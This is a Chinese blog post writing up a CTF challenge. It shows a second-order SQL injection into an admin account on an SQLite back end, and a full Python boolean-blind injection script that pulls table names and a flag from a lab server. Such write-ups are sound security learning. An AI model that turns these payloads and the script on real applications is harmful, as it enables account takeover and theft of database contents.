nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

[NSSRound#1 Basic]sql_by_sql

前言每天一道ctf,昨天说的要做一道,结果玩去了,没补,今天一定要再补一道,cccc

获取信息和思路

进入页面是个登录注册,登录成功后还可以改密码,登录admin是显示错误,那很容易判断是个二次注入,而且在修改密码界面源码中有2024-01-22T07:41:19.png
很明显的是单引号闭合方式

修改admin密码

我们创建admin'#的时候取修改竟然报错,说明#注释不了,我们换一种注释符
--空格成功,这里就需要学到新知识了,sqlite注入,这里不详细将,后面会出文章说明’然后成功进入admin界面2024-01-22T07:44:11.png
可以查询,我们可以猜测这应该就是注入地方,我们抓包

开始注入

判断闭合方式

我们通过1=1和1=2来判断,如果用or前面需要是不在的用户,发现是数字型,
我们以后就先',数字,"。还不行换方式

选择注入方法

毫无疑问这只能布尔盲注,因为只告诉你正确与否

import requests

s = requests.session()
url = "http://node4.anna.nssctf.cn:28658/query"#url头需要query的原因我放在下面
flag = ''
i = 0
headers = {'Cookie': "session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.Za4eug.KTgSrk0rnWYGt0IhOroUgfBKgo8"}
while True:
    i = i + 1
    Max = 128
    Min = 32
    Mid = (Max + Min) // 2
    while Min < Max:
        #payload=f"-1 or unicode(substr((select group_concat(name) from sqlite_master),{i},1))>{Mid}"
        #payload=f"-1 or unicode(substr((select group_concat(sql) from sqlite_master where name='flag' limit 0,1),{i},1))>{Mid}"
        payload = f"-1 or unicode(substr((select flag from flag),{i},1))>{Mid}"
        data = {
            'id': payload
        }
        r = requests.post(url=url, data=data,headers=headers)
        if "exist" in r.text:
            Min = Mid + 1
            Mid = (Min + Max) // 2
        else:
            Max = Mid
            Mid = (Min + Max) // 2

    flag = flag + chr(Mid)
    print(flag)

原脚本加了if Mid == 32:break的判断会导致回显不完全,然后这个cookie很重要,url头需要query的原因我放在下面
2024-01-22T08:31:02.png

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » [NSSRound#1 Basic]sql_by_sql

评论